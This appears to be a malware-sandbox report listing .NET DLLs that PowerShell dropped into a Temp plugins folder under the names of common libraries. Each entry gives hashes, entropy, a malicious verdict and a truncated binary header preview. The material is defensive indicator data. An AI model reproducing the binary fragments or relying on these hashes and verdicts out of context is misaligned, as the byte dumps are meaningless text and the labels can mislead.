Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'W............" ..0..............3... ...@....... ....................................`..................................2..O....@..0....................`.......1..8............................................ ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................2......H........=............... ..`...L1......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s*...%.r...po+...%.r...po+...%.r...po+...%.rd..po+...%.r3..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1267200
Entropy (8bit):	3.16825958717621
Encrypted:	false
SSDEEP:	12288:JmjwvIH+pUFN8XFPaIIjhPURfDXiTwXPO3+X9K9whyhYdupC/O16V1mQQlS1rhrz:J/hyhYdub/
MD5:	48D5482DD14D62BFC8C00535CEA3F3DE
SHA1:	13D4FBE8C2C90C5ED689439565D70CB7A6CA0FB2
SHA-256:	BCB00A4800779F373DC9BF2065820B864BEA6D3A28226829961560E97DC017C4
SHA-512:	49984E05E30FCBD7371CF5572A51B4349E0E1E1929DBAD0467A9DBD1D57585F5B0608424D7FC0392495024AE6D9E6E1460C521DFC8051F07654C1FD631347CD5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B.c..........." ..0..L..........fk... ........... ..............................dJ....`..................................k..O.......$...........................(j..8............................................ ............... ..H............text...lK... ...L.................. ..`.rsrc...$............N..............@..@.reloc...............T..............@..B................Hk......H.......D@..............@Y..h....i......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s*...%.r...po+...%.r...po+...%.r...po+...%.r+..po+...%.r.U.po+...%.rQ^.po+...%.r.b.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	614912
Entropy (8bit):	3.252345042359741
Encrypted:	false
SSDEEP:	6144:FXQ0jlAHuPo6S1vEbtHEl1/tjEyv9Gyj6fj55TEk820T4XEYJQJAm4+:pQelEbv8r/TEk8rL
MD5:	8260BEA4F20A89AD126E249A3DA00F29
SHA1:	DF83ADA61417A4AE3D560BF715F033AF350D34DF
SHA-256:	1061370BB5C336317E1B0335EB42C980F7FFED28017A96A9D22A6712E0EE7E57
SHA-512:	0F180C1FE209196198A08CA1859459DFBF6003673B399BC09EB81DDE59AD18CCD43C86226A9DBDBD0F17542E5BC6CB81AB0EDF5AB4761DC4D740D320CCCCDA46
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#j............" ..0..X...........w... ........... ....................................`..................................w..O.......$............................v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...$............Z..............@..@.reloc...............`..............@..B.................w......H........4...0...........e..h....v......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.rj..po+...%.r...po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2151424
Entropy (8bit):	3.3804951783405306
Encrypted:	false
SSDEEP:	12288:NldbeqYq6t7rX0uOaRagCvhn9SgxCV/WnmPmjaRdwgF0Ax85uGs/WwJcZ/15Omsc:NldT1
MD5:	5543BBEB035E0234362386715CDB1BA5
SHA1:	352D85E80949B08C73B64C330F4343D087F77A53
SHA-256:	0E53542D37CFA875A7A1718E98E471F09F9601B5DE8BB4D5A3C0B55F817913AA
SHA-512:	CA0E509D84F8EED8959B4BFBD247D730399BDBFDA38DF42F8356E5E0F773A55F32B5AB28287BCA483DE363007A09043CEC4D2891705161D160C2F87BC5CA80E2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...PKC..........." ..0... ........... .. ....!...... .......................@!.....8)!...`.................................R. .O.....!...................... !.....h. .8............................................ ............... ..H............text..... .. .... ................. ..`.rsrc.........!....... .............@..@.reloc....... !....... .............@..B.................. .....H.......D...D' ........... .`..... .....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s*...%.r...po+...%.r...po+...%.r:..po+...%.r_..po+...%.rb..po+...%.r...po+...%.r~..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6172672
Entropy (8bit):	3.180343425279423
Encrypted:	false
SSDEEP:	12288:N4eloJM2aqvHcja5h3Y8YAdRAP72ObgUJ50EAHSH3hNF6D+fOO/2x2QRcpBndnmi:NphHNHhiehBxJx99HMeUG
MD5:	6CC4F16086D2C40FB1C3119CFAD11626
SHA1:	99D16F2A2064DB9606B56550D8C67E629E5B79ED
SHA-256:	976BE1FA97DB8707E14AA8A93C2B8E8762AE09EB225B457EF9ED0F219FDB3C00
SHA-512:	A1E1B629A23013063C9E7989D0FF12070BFD1D2F796E8A4FE80260D8071712D1BBA12E1E8FEB938F441774462D151BD4EF8D82C63B2732AFA44E3DDAA65607D0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[.>..........." ..0..&^..........E^.. ...`^...... ........................^.......^...`..................................E^.O....`^.$.....................^......D^.8............................................ ............... ..H............text....%^.. ...&^................. ..`.rsrc...$....`^......(^.............@..@.reloc........^.......^.............@..B.................E^.....H............]..........3^.P...4D^.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	563200
Entropy (8bit):	3.3288301950563457
Encrypted:	false
SSDEEP:	12288:qGe5gYfiN6Ay4GqA5pN5IzurlKgJz2/anP0hdVMHTaXylsUZoFwRQp5K/rp4z4iT:qG
MD5:	09B35B9088BD54F29E6471CFAA4BEE2B
SHA1:	326DFDC93DC4E3F032A1C0D661987EA2DAB7AD4E
SHA-256:	736B84E163DC8C0C0C97E96DA555D665D63DCC8F052E5A859CB89813C33289B1
SHA-512:	43CBE8429C651364980C4084CE4E4592AF314D721F88D9F4758421F6B4EEAC528F4CBC637D97225908FBFBFF6962265D60CBA36B6F61F23C06E307A6310DCB7C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../............" ..0.................. ........... ...............................B....`.................................0...O...................................H...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................d.......H.......T6...d..........p...X..........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.rr..po+...%.r...po+...%.rV..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1272832
Entropy (8bit):	3.664464149446267
Encrypted:	false
SSDEEP:	6144:kEtBIBWbSlpPDyfiwqa0++lqF7f9wolWjA4n6rMkmEIAkEt07nNriym5FKcWyrXD:k8mTlDD
MD5:	688FA8EEC2B2D2D292E64320FFA1809A
SHA1:	E14DEC97E7BEF74B1C455AB781CBE981D5AD853D
SHA-256:	53EB7E28A4E1A6933E050D3F6980EED801CC543DACB7AB643D99713550D091E8
SHA-512:	8A4BFA83B82169D5294EB571B8A05A5733C8F47C6C28FFDC990B9AA66746C119583A75BD1135B9E0D771C4A069829809981E247BEBF549FE9A7ED4CA79B3C6F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..b.............. ........... ..............................v.....`.................................v...O.......................................8............................................ ............... ..H............text....a... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B........................H.......\l...............o.. ...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...I......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rh..po+...%.rU..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	577536
Entropy (8bit):	3.7752603197949424
Encrypted:	false
SSDEEP:	6144:cb4bakUn8H8RtYNl0QYEFAEHCwsMRk1tkrlkEtkjVEY2h9tL9t3qEMnTMsUpG2Va:LE8HCYNWQY2GEkfkZkekmAYsUpZytZ
MD5:	55044C329F5242D9B7EF50145D06653D
SHA1:	4799730EE9AC0DAA2D99DC0C9F7632F30E3D1F6F
SHA-256:	2F7F03B46ABB9B240B66C187D1E21AFE650718430CFCAAEFDDEDA47FB187F40F
SHA-512:	AF8E5A98866AC6E24AAFFF89BE8966A990B5CA0B59CAAC06FD3D89B57AEA5475582A54D586FE9893BF03863CC32DC878F0FF4FE6BBE4BD8EF0A4F9020DDB63AF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ............" ..0.................. ........... .......................@............`.................................b...O.......$.................... ......t...8............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc....... ......................@..B........................H........I..h...........\|...x...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M&......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rc..po+...%.r>..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	730112
Entropy (8bit):	3.1284338485888097
Encrypted:	false
SSDEEP:	6144:ophG2LkDhyGK3mcsLSytpIZoMp59BMMDlRjrE20qak6eADz3Nd/hI9owI43nAtvl:mw
MD5:	61970FDEDFF9372496C252DBD4AE6A11
SHA1:	41BA695CB14AE60E543334FE3906BC4C2D7D419F
SHA-256:	74D6679DBAF1BE1EE9586FC9A400007940F401E453475FF5F8079E613B3FE88E
SHA-512:	DD76E3EFF8ABB32F6AEA5A90CF6E537FDB72B2A01881BB03307A706D5CA8D3C618A36CE83819A7CEFE9E6BE0E72CDC89521489E96C3CAFEDC0CAD4DC06EBB0A4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............9... ...@....... ....................................`..................................8..O....@..0....................`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......."..............@..B.................8......H...........$............&..X...H7......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r'$.po+...%.r&/.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	4.342972826555346
Encrypted:	false
SSDEEP:	3072:/nOwe87QoDDlvxlHueWexbALmBO0FMX+:/nOrfoD4mBO7u
MD5:	81233EAE6B8FAF11E1390F7DCAF6319F
SHA1:	33AC886696E727AC4169547C41CA54AF7355C7AD
SHA-256:	73F17D81C47F4036D23ED5D5701594C204F6807ABCFAA785E5515910B160776F
SHA-512:	0372EDB69E15878C830DF108CC24BA091AEDE723B7DB3BB06BA057419EF4EB3E47B03CDA8E5582A53A0506C035CFCCE211FE727351AB767851936C3088244883
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... ....................... ......J.....`.................................F...O...................................\...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................z.......H........3...{..............8..........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r}..po+...%.r...po+...%.r...po+...%.rP..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	6.045230532328054
Encrypted:	false
SSDEEP:	768:SMFVB5FdppFlxZFdpmkFVBZF97NJFFR5bIEIxwdsIjyjikikmb2Uf:fLIEIxwuIejYkmb2Uf
MD5:	F9FFAA2A38F2BD73E9C16EA1ACA6331B
SHA1:	7A2CE4F615B5F08A1017864ACAF36844F1F76C60
SHA-256:	AB059CF8677721EEC80AC75295B42750E7850DEDE889E84D0432E153F5BCC691
SHA-512:	EF55C6BEBB52821C4CEC735C199425E4B6B641EECBA3002648CADF8CAEEB1BA24A92DCFB84D52B8089D42D3CCCF565CB990576BE1638417C342BA828751F1D49
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....2..........." ..0.................. ........... ..............................D.....`.....................................O......................................8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........?..X>...........~..@;..P.......................................r..(......(.......t....o....F.~....(....t....6.~.....(........0..Y.......r...p.....(.........(............s....s....(.........~.........(.........(....s....o .....(!...J.~..........("....0..8........(....,(..(....o#...%-.&+..(......o$...&..(%.....(%....~....z(....-........s&...s'...........0..........s(....()...o*....+ .o+.......(,.... .....(-...o.....o/...-....,..o0....(1...o2....+!.o3........(

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	302080
Entropy (8bit):	5.957227797447102
Encrypted:	false
SSDEEP:	1536:mruHdH5tBL0uVWkwT+zl2IVDDU7fKoVxbds1UK:lVWuVWd+E7fKoVxbFK
MD5:	01A9E121917C0B03878D6D38FAB65B4F
SHA1:	AA7BF2EDABD7B01101B72A0FAEB2A1669FAB55F3
SHA-256:	D4360D786D921E21F9EFEE7F4C92D953784F5CCB195C49EB718DE36C3699CC6A
SHA-512:	AE7D2ADE379090C6FDA41DFA108562F8DD823F2AF251C9B4D3307784CB9EE99E9D1FD17A28014B62E77F9A8A8ECF70F31A9E1D9242389420B4F24631AE6F47CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]=............" ..0.............z.... ........... ....................................`.................................%...O.......D...............................T............................................ ............... ..H............text........ ...................... ..`.rsrc...D...........................@..@.reloc..............................@..B................Y.......H........g..L........... ,..p.............................................{......{....V.(......}......}.......0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....... TW.+ )UU.Z(.....{....o ...X )UU.Z(.....{....o!...X...0..b........r...p......%..{.......%q.........-.&.+.......o"....%..{.......%q.........-.&.+.......o"....(#.....($.....($...^.($......7...%...}....:.($.....}....:.($.....}......{...."..}......{...."..}......s.......0..........

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9102336
Entropy (8bit):	5.378579568425784
Encrypted:	false
SSDEEP:	98304:2iXJDntBksKY+ND3WyA4+TLVei10vMzPv8/4C8B5XVS49Xzy83IiEcJMrCR2fShW:2cnJ45/9iD54+V11bFv4z
MD5:	512D66BEA27476F776E32EE5F766B8DE
SHA1:	6B54C6E26A45A487E294C6AE1EB9E54327D37E4F
SHA-256:	BFE82BD0BE7E708C1FB24B9C178ED0C5F5931954B41D0C493D14CD40225A3451
SHA-512:	034AE0916A4863A8966375F7F3F2ACA64A877137628EE250C3C8AEC65E17EE7C575974FB3994F86515AE21931D21700071A69DE974758CF5D1220D700C6CC39F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=............" ..0................. ........... .......................@............`.................................-...O.......\.................... ..........T............................................ ............... ..H............text....... ..................... ..`.rsrc...\..........................@..@.reloc....... .....................@..B................a.......H.......t...@.Q..........8U..5...........................................{2.....{3...V.(4.....}2.....}3......0..A........u........4.,/(5....{2....{2...o6...,.(7....{3....{3...o8...... Tg^. )UU.Z(5....{2...o9...X )UU.Z(7....{3...o:...X...0..b........r...p......%..{2......%q.........-.&.+.......o;....%..{3......%q.........-.&.+.......o;....(<.....(=.....(=...^.(=..........%...}....:.(=.....}....:.(=.....}....2.~....(>...6.~.....(?...F.~....(>...t(...6.~.....(?.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.532225695491235
Encrypted:	false
SSDEEP:	384:G/1sEGq5irZjixsoI+erkw8VC9TkiO3/Pe7fqHYRaBZ28MFXCTDVpLRdCaBhkcvz:1EP0dpoPe4qTkB3jYR+Z9xptdjwct
MD5:	6F53AE07BC7D450B3578446AE14D170D
SHA1:	CD896DF10169648B88D9022A3C9CC7EAFE2E2F54
SHA-256:	09C4D1DF3204CCC8D809F537A4E5CA2618BE892D1EE7EDBCC3C26FD9352CCC26
SHA-512:	03A039F10B86D70292F60E24A8AC9F986C5D73A44C65C6436170274FC74AD85B50B9449DE9F4E966D127043F13135EC1336C13D35DB033DD4F63C95A86CDD1AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p..b.........." ..0..Z..........zx... ........... ....................................`.................................(x..O.......h............................v............................................... ............... ..H............text....X... ...Z.................. ..`.rsrc...h............\..............@..@.reloc...............b..............@..B................\x......H.......X5...@...........u...............................................0..-........~....(....,................(....(.............0..$............(....(....(......q......(...+..0...........M~....(....,...........M.(...+.M( ....~........0..K........~....(....,..,. W...s....z..5........+.....(!...(".....(#...X...X..j.n2..*..0...........!...(....(....($.............(....(....($.............(....(....($.............(....(....j..........(....(....($.............(....(....j...

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	44544
Entropy (8bit):	5.712724017724719
Encrypted:	false
SSDEEP:	768:qImOio+oGouoWoeoWo+o1odo4So1oFoNoFololodoVoFoJhISYOAKgprlDVk+0aO:0aew8agEJ5orVWHnTOzho
MD5:	9D3DAED8E20EECA9884DE625D7645A55
SHA1:	39998CF67B4CE90ED9CA9EB7128C91C0A829D44D
SHA-256:	10FE2F6302E9F12BE3D602C78634B119B5540C373CEDFD3C3738AFED66FB925D
SHA-512:	A5B403259DDABCDECB904707847549F48E1F127D3732C2371308936C97C94B222760FBEB72B1F7F0E18E240FAB2A1520950059D4BA6C27CA0F13018BA8773AEE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0.............".... ........... ....................... ............`.....................................O.................................................................................... ............... ..H............text...(.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........O..@l.......... ...x.............................................{.....{.....{.....{.....{.....{.....{....s...."..(.......0..}.......(....o....r...p......%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....(........0..k....... .... .... .A.. .... .....g.s.7...< ....s......... .`. .k.. `E.. .....4 .... .....`.~ .... ....s ..........0.......... .... h... .B.. .....u .... .....X.\|.D.,s ........ .. d... .O.. .... .....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	506368
Entropy (8bit):	5.860286757963293
Encrypted:	false
SSDEEP:	6144:0WlRNlm4XXNio6PLu/p/7sUpKAK0suSQ2eyZgE3eCzlE8q/RcIYggqtEIsApY00t:BlI4Xrs6xsJThB+D0+2L
MD5:	F158CE5356179B7F6272E464713E06F0
SHA1:	210506DEA94D0A43B6963426D1C8B26063AEE64A
SHA-256:	7D60AF2C298EB163F6D023FB79A517F0C229A2C823F4C54F521FD62EB69443CA
SHA-512:	C8B2ADE664BB5E88FD647F8715E6DF496E63DDD47C0EA7D01D62118BB6176CFF2804761A975362B0FD63E73CAA8D869540C63916E1B10FF409AC73B8CBF1AB68
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0.................. ........... ....................... ............`.................................x...O...................................@................................................ ............... ..H............text...(.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......(................\|..HO...........................................0..)............-..+..%.}.....%.}.....%.}.....}...."..(......~<...}.....r...ps=...}.....rK..ps=...}.....(>.....}.....0..I........(.......\|.....\|....o....--..\|......{.....\|.....\|....(....,..{....(?...&....0..L........{....,C~<.........\|......{.....\|.....\|....(....&.{....(?...&..}......}....2.{....o....2.{....o....2.{....o....2.{....o.....0............o.......(........................:..o.....(@.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.6004341419856365
Encrypted:	false
SSDEEP:	384:B6vM0U/9jIIVzBLefdFjW9zmdJWSXcDCMKeFr9Hk2rRmXMANfUglVewhzjJA+Nzu:B6E0LiBYFjW9z4YCLerEKWNRzIpeY
MD5:	3E026532EA216A9505DD4AB55446BFB4
SHA1:	8071B7F1DDF72BFD011B22CC43E55DDB9327A588
SHA-256:	B0C145F4C39E7CEF4EF98FE3CF4DB07F02045940DE7FBB0A574261D9763E7D42
SHA-512:	5FF1988A3D2BC77444B82D8CEEFB792AD86C6B8B26B6782325906C92A6D9FF9ECB3FA81EDA95FA5A4C9A92375D06BBE0EA9C4D62EF33145F9FF599524201B5DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0..\|............... ........... ....................................`.................................d...O.......D...........................,................................................ ............... ..H............text....{... ...\|.................. ..`.rsrc...D............~..............@..@.reloc..............................@..B........................H........:..8X.............@.............................................{........}......q....o......{....o....6..q....o........0............}.....o.........o........................:.o......}......o....".(.....^.{....-...{.....o....:...(....o....:...(....o....&..Po....&..o......s....z6..u....}....&..{....Q....0..F........u......-.(....(....r...p(....s....z........sP......o.......,..o ....*........2..;.......0..?........u......-.(....(....r'..p(....s....z.(!.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98816
Entropy (8bit):	5.891187931002061
Encrypted:	false
SSDEEP:	3072:edLz0N6aw4CuW12pesxnqJcbuxGIS//wzFliIwhi6:aLgN6aw4CuW12pjCquxGw
MD5:	75D40FE3CEC015A79C7C4D7BA97D9D87
SHA1:	FC5554C3A3B00BB2802FD677B9B247C7CF98C59D
SHA-256:	6E00EC555D481C3AAFE487069BC899A110420C654DA293C11937BE776D23E137
SHA-512:	52E598CC1F4C54D049DDBF95978A1FEF9A698DE19F89C4E29252234B7FF3D7F8743794017F9B0E0802EE6407F93F71D67CC5C77FEE00E794B2EAE8A8EEA5F36B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p..b.........." ..0..x.............. ........... ....................................`.....................................O...................................P................................................ ............... ..H............text....w... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H........o..............ht...!..........................................n..1.. ...._ ....` ....`...".........(.....(........(.......*..(.......('...o(....3.('...o)...o..........N(....-.(c...s+...zZ('...o)...o.........N(....-.(b...s+...z.('...o(....3.('...o).....s,...o-..........N(....-.(a...s+...z.0...........(....,.~/....r...pr...po0........Y...%..,.o1.......r1..p~/...o0...(2...(.........r5..p~/...o0.......(3...(4.... ....s5...... ....(....-...o6...*>...(

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	701992
Entropy (8bit):	5.940787194132384
Encrypted:	false
SSDEEP:	12288:U9BzaPm657wqehcZBLX+HK+kPJUQEKx07N0TCBGiBCjC0PDgM5j9FKjc3Q5:U8m657w6ZBLmkitKqBCjC0PDgM5A5
MD5:	081D9558BBB7ADCE142DA153B2D5577A
SHA1:	7D0AD03FBDA1C24F883116B940717E596073AE96
SHA-256:	B624949DF8B0E3A6153FDFB730A7C6F4990B6592EE0D922E1788433D276610F3
SHA-512:	2FDF035661F349206F58EA1FEED8805B7F9517A21F9C113E7301C69DE160F184C774350A12A710046E3FF6BAA37345D319B6F47FD24FBBA4E042D54014BEE511
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... ..............................^....`.....................................O.......................(..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........{...,..................d.........................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X.+....b...aX...X...2.....cY.....cY....cY...{...._..{........+,..{^....3...{]......(....,...{].....{_.......-.....0...........-.r...ps....z.o......-.~....*.~....X...+....b..

C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28264
Entropy (8bit):	6.087998603985687
Encrypted:	false
